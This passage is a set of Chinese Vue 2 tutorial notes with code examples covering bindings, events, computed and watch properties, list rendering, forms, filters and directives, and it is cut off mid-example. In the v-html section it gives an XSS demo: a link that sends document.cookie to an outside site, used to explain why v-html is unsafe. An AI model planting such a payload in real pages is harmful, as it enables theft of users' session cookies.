官网
准备
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
</script>
</body>
</html>
下载拓展并将权限打开
(先安装livesever插件,才能打开vue拓展)
拓展的使用
指令语法
v-bind
<body>
<div id="demo">
<h1>插值语法</h1>
<h3>{{name}}</h3>
<h1>指令语法</h1>
<a v-bind:href="book.url">{{book.name}}</a>
<!-- 缩写 -->
<!-- <a :href=""></a> -->
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
//创建vue2.0实例
new Vue({
el:'#demo',
data() {
return {
name:"切尔西",
book:{
name:"the clash",
url:'https://www.baidu.com',
}
}
},
})
</script>
</body>
数据绑定
v-model
<body>
<!--
Vue中有2种数据绑定的方式:
1、单向绑定(v-bind):数据只能从data流向页面
2、双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data
备注:
1、双向绑定一般应用在表单类元素上(如:input、select等)
2、v-model:value 可以简写为 v-model,因为 v-model 默认收集的就是value值
-->
<div id="demo">
<!-- 普通写法 -->
<!-- 单向数据绑定:<input type="text" v-bind:value="name"><br/>
双向数据绑定:<input type="text" v-model:value="name"><br/> -->
<!-- 简写 -->
单向数据绑定:<input type="text" :value="name"><br/>
双向数据绑定:<input type="text" v-model="name"><br/>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
//创建vue2.0实例
new Vue({
el:'#demo',
data() {
return {
name:"切尔西",
}
},
})
</script>
</body>
常用写法
<body>
<div id="demo">
<h1>{{name}}</h1>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
//创建vue2.0实例
const vm = new Vue({
// el:'#demo',
data() {
return {
name:"切尔西",
}
},
})
console.log(vm);
vm.$mount('#demo');
</script>
</body>
_Object.defineProperty
<body>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
let number = 18
let person = {
name:"哈弗茨",
sex:"男",
// age:18 //在这设定的age值可以随意枚举、修改和删除
}
// 默认不可枚举不可修改不可删除
Object.defineProperty(person,'age',{
// value:18,
// enumerable:true, //控制属性是否可以枚举,默认值是false
// writable:true, //控制属性是否可以被修改,默认值是false
// configurable:true, //控制属性是否可以被删除,默认值是false
//当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
get(){
console.log("有人读取age属性了")
return number
},
//当有人修改person的age属性,set函数(setter)就会被调用,且会收到修改的具体值
set(value){
console.log("有人修改了age属性,且值是",value)
number = value
}
})
console.log("person属性:",Object.keys(person)) // 提醒对象里面所有属性的属性名变成一个数组
</script>
数据代理
通过一个对象代理另一个对象中属性的操作(读/写)
<body>
<!-- 数据代理:通过一个对象代理另一个对象中属性的操作(读/写) -->
<script type="text/javascript">
// Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
let obj = {x:1}
let obj1 = {y:2}
Object.defineProperty(obj1,'x',{
get(){
return obj.x
},
set(value){
obj.x = value
}
})
</script>
</body>
Vue中的数据代理
<body>
<div id="demo">
<h2>学校名称:{{name}}</h2>
<h2>学校地址:{{address}}</h2>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#demo',
data() {
return {
name:'剑桥',
address:'英国'
}
},
})
</script>
</body>
用 vm._data.name修改也行
<body>
<div id="demo">
<h2>学校名称:{{name}}</h2>
<h2>学校地址:{{address}}</h2>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
let data = {
name:"剑桥",
address:"英国"
}
const vm = new Vue({
el:'#demo',
data
})
</script>
</body>
验证:
事件处理
事件的基本使用:
1、使用v-on:xxx 或 @xxx 绑定事件 xxx是事件名
2、事件的回调需要配置在methods对象中,最终会在vm上
3、methods中配置的函数,不要用箭头函数,否则this不是vm
4、methods中配置的函数,都是被vue所管理的函数,this 指向的是vm或组件实例对象
5、@cllick = “demo" 和 @click = "demo()"效果一直,但后者可以传参
<body>
<div id="demo">
<h2>名称:{{name}}</h2>
<button v-on:click="toshow1">点我</button>
<!-- 简写 -->
<button @click="toshow2($event,6666)">点你</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#demo',
data() {
return {
name:'剑桥',
}
},
methods: {
toshow1(e){
alert("你好!") //
console.log(this) // this是vm
console.log(e.target.innerText)
},
toshow2(e,number){
console.log(e,number)
}
},
})
</script>
</body>
methods中配置箭头函数 this 指向不是vm
事件修饰符
<style>
*{
margin-top: 20px;
}
.demo1{
height: 50px;
background-color: blue;
}
.box1{
padding: 5px;
background-color: green;
}
.box2{
padding: 5px;
background-color: yellow;
}
.list{
width: 200px;
height: 200px;
background-color: aqua;
/* 滚动条 */
overflow: auto;
}
li{
height: 100px;
}
</style>
<body>
<div id="demo">
<h2>名称:{{name}}</h2>
<!-- 组织默认事件 -->
<a href="https://www.baidu.com" @click.prevent="toshow">点我提示不跳转</a>
<!-- 阻止事件冒泡 -->
<div class="demo1" @click="toshow">
<button @click.stop="toshow">点我</button>
</div>
<!-- 事件只触发一次 -->
<button @click.once="toshow">点一次会触发,再点不会触发</button>
<!-- 使用事件的捕获模式 -->
<div class="box1" @click.capture="showMsg(1)">
div1
<!-- 点击box2 输出 2 1 (冒泡是由内向外)-->
<!-- 使用捕获之后是 1 2 (捕获是由外向内)-->
<div class="box2" @click="showMsg(2)">
div2
</div>
</div>
<!-- 只有event.target是当前操作的元素时才触发事件 -->
<!--
@click 点击会冒泡 控制台输出
"<button>点我</button>
<button>点我</button>"
@click.self:当event.target是当前操作的元素时(div) 才触发事件 (toshow1)
-->
<div class="demo1" @click.self="toshow1">
<button @click="toshow1">点我</button>
</div>
<!-- 事件的默认行为立即执行,无需等待事件回调执行完毕 -->
<!--
@wheel 鼠标滚轮事件 鼠标在滚动就会触发事件
执行事件时会发现 触发了事件但是滚动条没往下走
原因是 先去触发事件,回调执行完成之后才去执行默认行为,把滚动条往下一移动
passive 事件的默认行为立即执行,无需等待事件回调执行完毕
-->
<!-- @scorll 滚动条事件 滚动条到底往下拉就不会触发事件-->
<ul @wheel.passive="roll" class="list">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#demo',
data() {
return {
name:'剑桥',
}
},
methods: {
toshow(e){
// e.preventDefault();// 阻止默认事件
// e.stopPropagation(); // 阻止事件冒泡
alert("你好!")
},
showMsg(msg){
console.log(msg)
},
toshow1(e){
console.log(e.target);
// alert("你好!")
},
roll(){
for(let i = 0; i<100000; i++){
console.log("动起来")
}
}
},
})
</script>
</body>
事件修饰符的复合使用
<!-- 先阻止事件冒泡再阻止跳转 顺序可交换-->
<div class="demo1" @click="toshow">
<a href="https//www.baidu.com" @click.stop.prevent="toshow">点我</a>
</div>
键盘事件
Vue中常用的按键别名
回车 => enter 删除 => delete(删除键和空格键)
空格 => space 退出 => esc 换行 => tab(特殊,必须配和keydown使用,因为按下tab键光标会切走失去焦点)
上=>up 下=>down 左=>left 右=>right
Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case (短横线命名) 例如:CapsLock => caps-lock
系统修饰键:ctrl alt shift meta(win)
(1) 配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发
(2) 配合keydown使用:正常触发事件
可以使用keyCode去指定具体按键 例如@keyup.13=“method” 不推荐
Vue.config.keyCodes.自定义键名 = 键码 可以去定制按键别名
<body>
<div id="demo">
<h2>名称:{{name}}</h2>
<input type="text" placeholder="按下回车提示输入" @keyup.enter="toshow">
<!-- <input type="text" placeholder="按下回车提示输入" @keyup.hc="toshow"> -->
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
// Vue.config.keyCodes.自定义键名 = 键码 可以去定制按键别名
Vue.config.keyCodes.hc = 13
const vm = new Vue({
el:'#demo',
data() {
return {
name:'剑桥',
}
},
methods: {
toshow(e){
// console.log(e.key, e.keyCode)
// if(e.keyCode !== 13) return
console.log(e.target.value)
},
},
})
</script>
</body>
按键的复合使用
<!-- 只有输入ctrl y 才能实现 -->
<input type="text" placeholder="按下回车提示输入" @keyup.ctrl.y="toshow">
输入姓名案例
<body>
<div id="demo">
<!-- 插值语法实现 -->
<!-- 姓:<input type="text" v-model="name.fname"><br>
名:<input type="text" v-model="name.lname">
<div>全名:{{name.fname}}-{{name.lname}}</div> -->
<!-- method方法实现 -->
姓:<input type="text" v-model="name.fname"><br>
名:<input type="text" v-model="name.lname"><br>
全名:<span>{{fullname()}}</span>
<!-- 加括号返回值 不加括号返回函数 -->
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#demo',
data() {
return {
name:{
fname: "张",
lname: "三"
}
}
},
methods: {
fullname(){
return this.name.fname+"-"+this.name.lname;
}
},
})
</script>
</body>
计算属性
<body>
<div id="demo">
姓:<input type="text" v-model="name.fname"><br>
名:<input type="text" v-model="name.lname"><br>
全名:<span>{{fullname}}</span>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#demo',
data() {
return {
name:{
fname: "张",
lname: "三"
}
}
},
computed:{
fullname:{
// 当有人读取fullname时 get就会被调用且返回值就作为fullnme的值
// get什么时候调用 1、初次读取fullName时 2、所依赖的数据发生变化时
get(){
// console.log(this);//此处的this是vm
return this.name.fname+'-'+this.name.lname;
},
set(value){
const arr = value.split('-');
this.name.fname = arr[0];
this.name.lname = arr[1];
}
}
}
})
</script>
</body>
可以简写
// 简写 只考虑读取不考虑修改
fullname(){
console.log('get被调用了')
return this.name.fname+'-'+this.name.lname;
}
监视属性
<body>
<div id="demo">
<h2>今天天气很{{info}}</h2>
<button @click="change">切换天气</button>
<!-- 可以这么写 @XXX="yyy" yyy可以写一些简单的语句-->
<!-- <button @click="isHot = !isHot">切换天气</button> -->
<!-- 注意 -->
<!-- <button @click="window.alert(1)">点</button> -->
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#demo',
data() {
return {
isHot:true,
// window
}
},
computed:{
info(){
return this.isHot ? "炎热" : "凉爽"
}
},
methods: {
change(){
this.isHot = !this.isHot
}
},
/* watch:{
isHot:{
immediate:true, //初始化时让handler调用一下
//handler什么时候调用? 当isHot发生改变时
handler(newValue,oldValue){
console.log("isHot被修改了",newValue,oldValue)
}
}
} */
})
vm.$watch('isHot',{
immediate:true, //初始化时让handler调用一下
//handler什么时候调用? 当isHot发生改变时
handler(newValue,oldValue){
console.log("isHot被修改了",newValue,oldValue)
}
})
</script>
</body>
简写
watch:{
// 简写 (前提是不需要immediate deep配置项 只有handler)
isHot(newValue,oldValue){
console.log("isHot被修改了",newValue,oldValue)
}
}
--------------------------------
// 简写
vm.$watch('isHot',function(newValue,oldValue){
console.log("isHot被修改了",newValue,oldValue)
})
深度监视
<body>
<!--
深度监视:
(1)Vue中的watch默认不检测对象内部值的改变(一层)
(2)配置deep:true可以检测对象内部值改变(多层)
备注:
(1)Vue自身可以检测对象內部值的改变,但Vue提供的watch默认不可以
(2)使用watch时根据数据的具体结构,决定是否采用深度监视
-->
<div id="demo">
<h2>a的值是:{{numbers.a}}</h2>
<button @click="numbers.a++">点击a +1</button>
<h2>b的值是:{{numbers.b}}</h2>
<button @click="numbers.b++">点击b +1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#demo',
data() {
return {
numbers:{
a:1,
b:1
}
}
},
watch:{
// 监视多级结构中某个属性的变化
'numbers.a':{
handler(){
console.log('a被改变了')
}
},
// 监视多级结构中所有属性的变化
numbers:{
deep:true,
handler(){
console.log('numbers改变了')
}
}
}
})
</script>
</body>
watch对比computed
computed 和 watch 之间的区别:
1、computed 能完成的功能,watch都可以完成。
2、watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。
两个重要的小原则:
1、被Vue管理的函数,最好写成普通函数,这样this的指向才是 vm 或组件实例对象。
2、所有不被 Vue 所管理的函数(定时器的回调函数、ajax的回调函数等),最好写成箭头函数,这样 this 的指向才是 vm 或 组件实例对象。
<body>
<div id="demo">
姓:<input type="text" v-model="name.fname"><br>
名:<input type="text" v-model="name.lname"><br>
<!-- 全名:<span>{{fullname}}</span> -->
全名:<span>{{name.fullname}}</span>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#demo',
data() {
return {
name:{
fname: "张",
lname: "三",
fullname:"张-三"
}
}
},
watch:{
'name.fname'(val){
// 改动后延迟1s在全名中显示
setTimeout(()=>{
this.name.fullname = val + '-' + this.name.lname;
},1000)
},
'name.lname'(val){
this.name.fullname = this.name.fname + '-' + val;
}
}
/* computed:{
fullname(){
return this.name.fname+'-'+this.name.lname;
}
} */
})
</script>
</body>
绑定class样式
<style>
.basic{
height: 100px;
width: 500px;
border-style: solid;
border-width: 1px;
}
.red{
background-color: red;
}
.green{
background-color: green;
}
.yellow{
background-color: yellow;
}
.class1{
font-size: 80px;
}
.class2{
background-color: blue;
}
.class3{
border-radius: 10px;
}
</style>
<body>
<div id="demo">
<h2>{{title}}</h2>
<!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
<div class="basic" :class="color" @click="changeColor">{{name}}</div>
<br>
<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数不确定,名字也不确定-->
<div class="basic" :class="classArr" >{{name}}</div>
<br>
<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定,名字也确定,但动态决定要不要用-->
<div class="basic" :class="classObj" >{{name}}</div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#demo',
data() {
return {
title:'绑定class样式',
name:'test',
color:'red',
classArr:['class1','class2','class3'],
classObj:{
class1:false,
class2m :false
}
}
},
methods: {
changeColor(){
const arr = ['red','green','yellow']
const index = Math.floor(Math.random()*3)//随机 0,1,2
console.log(index)
this.color = arr[index]
}
},
})
</script>
</body>
绑定style样式
<style>
.basic{
height: 100px;
width: 500px;
border-style: solid;
border-width: 1px;
}
</style>
<body>
<div id="demo">
<h2>{{title}}</h2>
<div class="basic" :style="{fontSize: fsize+'px'}">{{name}}</div>
<br>
<div class="basic" :style="styleObj">{{name}}</div>
<br>
<div class="basic" :style="[styleObj,styleObj1]">{{name}}</div>
<br>
<div class="basic" :style="styleArr">{{name}}</div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#demo',
data() {
return {
title:'绑定style样式',
name:'test',
fsize:40,
styleObj:{
fontSize:'40px',
color:'red',
},
styleObj1:{
backgroundColor:'blue'
},
styleArr:[
{
fontSize:'40px',
color:'red',
},
{
backgroundColor:'green'
}
]
}
},
})
</script>
</body>
条件渲染
v-if:
(1)v-if = “表达式”
(2)v-else-if = “表达式”
(3)v-else = “表达式”
适用于切换频率较低的场景
特点:不展示的DOM元素直接被移除
注意:v - if 可以和 v-else-if、v-else一起使用,但要求结构不能被“打断”
v-show:
v-show = "表达式“
适用于:切换频率较高的场景
特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
<body>
<div id="demo">
<!-- 使用v-show做条件渲染 -->
<!-- <h2 style="display: none;">巴塞罗那</h2> -->
<!-- <h2 v-show="false" style="color: red;">{{name}}</h2>
<h2 v-show="1===1" style="color: blue;">{{name}}</h2>
-->
<!-- 使用v-if做条件渲染 -->
<!-- -->
<h2 v-if="false" style="color: red;">{{name}}</h2>
<h2 v-if="1===1" style="color: blue;">{{name}}</h2>
<h2>当前n的值:{{n}}</h2>
<button @click="n++">点我n+1</button>
<div v-show="n===1" style="color: aqua;">1</div>
<div v-show="n===2" style="color: aqua;">2</div>
<div v-show="n===3" style="color: aqua;">3</div>
<!-- v-else 和 v-else-if -->
<div v-if="n===1" style="color: brown;">1</div>
<div v-else-if="n===2" style="color: brown;">2</div>
<div v-else-if="n===3" style="color: brown;">3</div>
<div v-else="n===3" style="color: brown;">no number</div>
<!-- v-if 和 template 的配合使用 -->
<template v-if="n===1">
<div>
<h2>都</h2>
<h2>给</h2>
<h2>我</h2>
<h2>卷</h2>
</div>
</template>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#demo',
data() {
return {
name:"巴塞罗那",
n:0
}
},
})
</script>
</body>
列表渲染
v-for
<body>
<div id="demo">
<!-- 遍历数组 -->
<h2>人员列表</h2>
<ul>
<li v-for="(val,index) in persons" :key="index">
{{val.name}} - {{val.age}}
</li>
</ul>
<!-- 遍历对象 -->
<h2>汽车信息</h2>
<ul>
<li v-for="(val,k) in cars" :key="k">
{{k}} - {{val}}
</li>
</ul>
<!-- 遍历字符串 -->
<h2>测试遍历字符串</h2>
<ul>
<li v-for="(char,index) in str" :key="index">
{{char}} - {{index}}
</li>
</ul>
<!-- 遍历数字 -->
<h2>测试遍历指定次数</h2>
<ul>
<li v-for="(num,index) in 5" :key="index">
{{num}} - {{index}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#demo',
data() {
return {
persons:[
{id:"001", name:'张三', age:18},
{id:"002", name:'里斯', age:19},
{id:"003", name:'旺旺', age:20},
],
cars:{
name:"AE86",
price:"20w",
color:"white"
},
str:'hello',
}
},
})
</script>
</body>
用index作为key可能会引发的问题:
1、若对数据进行:逆序添加、逆序删除等破坏顺序操作,会产生没有必要的真实DOM更新 ===》界面效果没问题,但效率低
2、如果结构中还包含有输入类的DOM(input),会产生错误DOM更新 =》界面有问题
列表过滤
<body>
<div id="demo">
<!-- 遍历数组 -->
<input type="text" placeholder="输入姓名" v-model="keyword">
<ul>
<li v-for="(val,index) in filpersons" :key="index">
{{val.name}} - {{val.age}} - {{val.sex}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
// 用watch实现
/* const vm = new Vue({
el:'#demo',
data() {
return {
keyword:'',
persons:[
{id:"001", name:'马冬梅', age:19, sex:'女'},
{id:"002", name:'周冬雨', age:20, sex:'女'},
{id:"003", name:'周杰伦', age:21, sex:'男'},
{id:"004", name:'屎壳郎', age:22, sex:'男'},
],
filpersons:[]
}
},
watch:{
keyword:{
immediate:true,
handler(val){
this.filpersons = this.persons.filter((v)=>{
return v.name.indexOf(val) !== -1
})
}
}
}
})
*/
// 用computed实现
const vm = new Vue({
el:'#demo',
data() {
return {
keyword:'',
persons:[
{id:"001", name:'马冬梅', age:19, sex:'女'},
{id:"002", name:'周冬雨', age:20, sex:'女'},
{id:"003", name:'周杰伦', age:21, sex:'男'},
{id:"004", name:'屎壳郎', age:22, sex:'男'},
],
}
},
computed:{
filpersons(){
return this.persons.filter((v)=>{
return v.name.indexOf(this.keyword) !== -1
})
}
}
})
</script>
</body>
列表排序
<body>
<div id="demo">
<!-- 遍历数组 -->
<input type="text" placeholder="输入姓名" v-model="keyword">
<button @click="sortType=1">年龄升序</button>
<button @click="sortType=2">年龄降序</button>
<button @click="sortType=0">原顺序</button>
<ul>
<li v-for="(val,index) in filpersons" :key="val.id">
{{val.name}} - {{val.age}} - {{val.sex}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
// 用computed实现
const vm = new Vue({
el:'#demo',
data() {
return {
keyword:'',
sortType:0, // 0原顺序 1升序 2降序
persons:[
{id:"001", name:'马冬梅', age:23, sex:'女'},
{id:"002", name:'周冬雨', age:20, sex:'女'},
{id:"003", name:'周杰伦', age:21, sex:'男'},
{id:"004", name:'屎壳郎', age:22, sex:'男'},
],
}
},
computed:{
filpersons(){
const arr = this.persons.filter((v)=>{
return v.name.indexOf(this.keyword) !== -1
})
//判断一下是否需要排序
if(this.sortType){
arr.sort((x,y) => {
return this.sortType === 1 ? x.age - y.age : y.age - x.age
})
}
return arr
}
},
})
// [4,2,1,6].sort((x,y)=>{return x-y}) // 1,2,4,6
</script>
</body>
Vue监视数据
对象中后加的属性,Vue默认不做响应式处理
如需给后添加的属性做响应式,使用如下API:
Vue.set(target, propertyName/index, value) 或
vm.$set(target, propertyName/index, value)
在Vue中修改数组中的某个元素的方法:
1、使用API:push() pop() shift() unshift() splice() sort() reverse()
2、Vue.set() 或 vm.$set()
特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象添加属性。
<body>
<div id="demo">
<h2>学生信息</h2>
<button @click="student.age++">年龄+1岁</button><br>
<button @click="addSex">添加性别属性,默认值:男</button><br>
<button @click="student.sex = '未知'">修改性别属性,默认值:男</button><br>
<button @click="addFriend">在列表首位添加一个朋友</button><br>
<button @click="updateFirstFs">修改第一个朋友的名字为:张三</button><br>
<button @click="addHobby">添加一个爱好</button><br>
<button @click="filterSmoke">过滤爱好中的抽烟</button><br>
<button @click="updateHobby">修改第一个爱好为:开车</button><br>
<h3>姓名:{{student.name}}</h3>
<h3>年龄:{{student.age}}</h3>
<h3 v-if="student.sex">性别:{{student.sex}}</h3>
<h3>爱好:</h3>
<ul>
<li v-for="(h,index) in student.hobby" :key="index">
{{h}}
</li>
</ul>
<h3>朋友们:</h3>
<ul>
<li v-for="(f,index) in student.friends" :key="index">
{{f.name}} - {{f.age}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#demo',
data() {
return {
student: {
name: '蓝胖子',
age: 18,
hobby: ['抽烟', '喝酒', '烫头'],
friends: [{
name: 'tom',
age: 18
},
{
name: 'jerry',
age: 20
}
]
}
}
},
methods: {
addSex() {
// Vue.set(this.student, 'sex', '男')
this.$set(this.student,'sex','男')
},
addFriend(){
this.student.friends.unshift({name:"messi",age:35})
},
updateFirstFs(){
this.student.friends[0].name = 'vivi';
},
addHobby(){
this.student.hobby.push("play")
},
updateHobby(){
// this.student.hobby.splice(0,1,'开车')
Vue.set(this.student.hobby,0,'开车')
},
filterSmoke(){
this.student.hobby = this.student.hobby.filter((h)=>{
return h!=='抽烟'
})
}
},
})
</script>
</body>
收集表单数据
若:<input type="text">
,则v-model收集的是value值,用户输入的就是value值
若:<input type="radio">
,则v-model收集的是value值,且要给标签配置value值
若:<input type="checkbox">
:
1、没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选 是布尔值)
2、配置input的value属性:
(1)v-model的初始值的非数组,那么收集的就是checked(勾选 or 未勾选 是布尔值)
(2)v-model的初始值是数组,那么收集的就是value组成的数组
v-model的三个修饰符
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤
<body>
<div id="demo" @submit.prevent="demo">
<form>
账号:<input type="text" v-model.trim="userInfo.account"> <br><br>
密码:<input type="password" v-model="userInfo.password"> <br><br>
年龄:<input type="number" v-model.number="userInfo.age"> <br><br>
性别:男<input type="radio" name="sex" v-model="userInfo.sex" value="male" >
女<input type="radio" name="sex" v-model="userInfo.sex" value="female" ><br><br>
爱好:抽烟<input type="checkbox" v-model="userInfo.hobby" value="smoke">
喝酒<input type="checkbox" v-model="userInfo.hobby" value="drink">
烫头<input type="checkbox" v-model="userInfo.hobby" value="hothead"><br><br>
所属校区:
<select v-model="userInfo.city">
<option value="">请选择校区</option>
<option value="HN">湖南</option>
<option value="HB">湖北</option>
<option value="ZJ">浙江</option>
</select><br><br>
其他信息:<textarea v-model.lazy="userInfo.other"></textarea><br><br>
<input type="checkbox" v-model="userInfo.agree">阅读并接受 <a href="">《用户协议》</a><br><br>
<button>提交</button>
</form>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#demo',
data() {
return {
userInfo:{
account:"",
password:"",
age:"",
sex:"male",
hobby:[],
city:'ZJ',
other:'',
agree:'',
}
}
},
methods: {
demo(){
console.log(JSON.stringify(this.userInfo))
}
},
})
</script>
</body>
过滤器
1、注册过滤器 Vue.filter(name,callback) 或 new Vue(filters:{})
2、使用过滤器:{{xxx | 过滤器名}} 或 v-bind: 属性 = “xxx | 过滤器名”
注意:
过滤器也可以接受额外参数、多个过滤器也可以串联
并没有改变原本的数据,是产生新的数据
<script type="text/javascript" src="../js/dayjs.min.js"></script>
<body>
<div id="demo">
<h2>显示格式化后的时间</h2>
<!-- 计算属性实现 -->
<h3>现在是:{{fmtTime}}</h3>
<!-- methods实现 -->
<h3>现在是:{{getfmtTime()}}</h3>
<!-- 过滤器实现 把time作为value传进去 返回值替换{{}}-->
<h3>现在是:{{time | timeFormater}}</h3>
<!-- 过滤器实现 把time作为value传进去,小括号的值作为str 返回值替换{{}}-->
<h3>现在是:{{time | timeFormater('YYYY-MM-DD')}}</h3>
<!-- 过滤器嵌套 -->
<h3>现在是:{{time | timeFormater('YYYY-MM-DD') | mySlice}}</h3>
<!-- 使用 v-bind 不推荐 --> <!-- <h3 x="bar">巴塞罗那</h3> -->
<h3 :x="msg | mySlice1">巴塞罗那</h3>
</div>
<div id="demo1">
<h2>{{msg | mySlice1}}</h2>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
//全局过滤器 在new Vue({}) 之前
Vue.filter('mySlice1', function(value){
return value.slice(0,3)
})
const vm = new Vue({
el: '#demo',
data() {
return {
time: Date.now(),
msg:'barcelona'
}
},
// 计算属性实现
computed: {
fmtTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
}
},
// methods实现
methods: {
getfmtTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
}
},
// 局部的过滤器
// 过滤器实现
filters:{
timeFormater(value, str='YYYY-MM-DD HH:mm:ss'){
return dayjs(value).format(str)
},
mySlice(value){
return value.slice(0,4)
}
}
})
new Vue({
el:"#demo1",
data(){
return{
msg:"hello"
}
}
})
</script>
</body>
v - text 指令
<body>
<div id="demo">
<div>你好,{{word}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#demo',
data() {
return {
word:"假期",
name:"barce",
str:"<h3>早上好</h3>"
}
},
})
</script>
</body>
v-html 指令
v- html 有安全性问题:
(1)在网站上动态渲染任意html是非常危险的,容易导致xss攻击
(2)一定要在可信的内容上使用 v-html 不要用在用户提交的内容上
加入cookie值
可以读出 :
<body>
<div id="demo">
<div v-html="str"></div>
<div v-html="str1"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#demo',
data() {
return {
str:"<h3>早上好</h3>",
str1:'<a href=javascript:location.href="https://www.baidu.com/?"+document.cookie>资源,快来!</a>'
}
},
})
</script>
</body>
点击跳转之后则会暴露cookie
当 httpOnly 为true则不会暴露cookie
v- cloak
v-once
<body>
<!--
v-once指令:
1、v-once所在节点在初次渲染后,就视为静态内容了。
2、以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能
-->
<div id="demo">
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点+1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#demo',
data() {
return {
n:1
}
},
})
</script>
</body>
v-pre
<body>
<!--
v-pre指令:
1、跳过其所在节点的编译过程。
2、可利用它跳过没有使用指令语法、插值语法的节点,加快编译
-->
<div id="demo">
<h2 v-pre>hello Vue</h2>
<h2 v-pre>当前的n值是:{{n}}</h2>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#demo',
data() {
return {
n:1
}
},
})
</script>
</body>
自定义指令
<body>
<!--
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点
-->
<div id="demo">
<h2>hello Vue</h2>
<h2>当前的n值是:<span v-text="n"></span></h2>
<h2>放大10倍后的n值是:<span v-big="n"></span></h2>
<button @click="n++">点 n +1</button>
<!-- 分隔线 -->
<hr>
<input type="text" v-fbind:value="n">
</div>
<!--
指令函数何时会被调用?
1、指令与元素成功绑定时 (一上来就绑定)
2、指令所在的模板被重新解析时
-->
<script type="text/javascript">
Vue.config.productionTip = false //设置为 false 以阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el: '#demo',
data() {
return {
n:1
}
},
directives:{
// element是获取的标签(DOM 元素),binding是绑定的数据
big(element,binding){
element.innerText = binding.value*10
},
fbind:{
// 指令与元素成功绑定时 (一上来就绑定)
bind(element,binding){
element.value = binding.value
},
// 指令所在元素被插入页面时
inserted(element,binding){
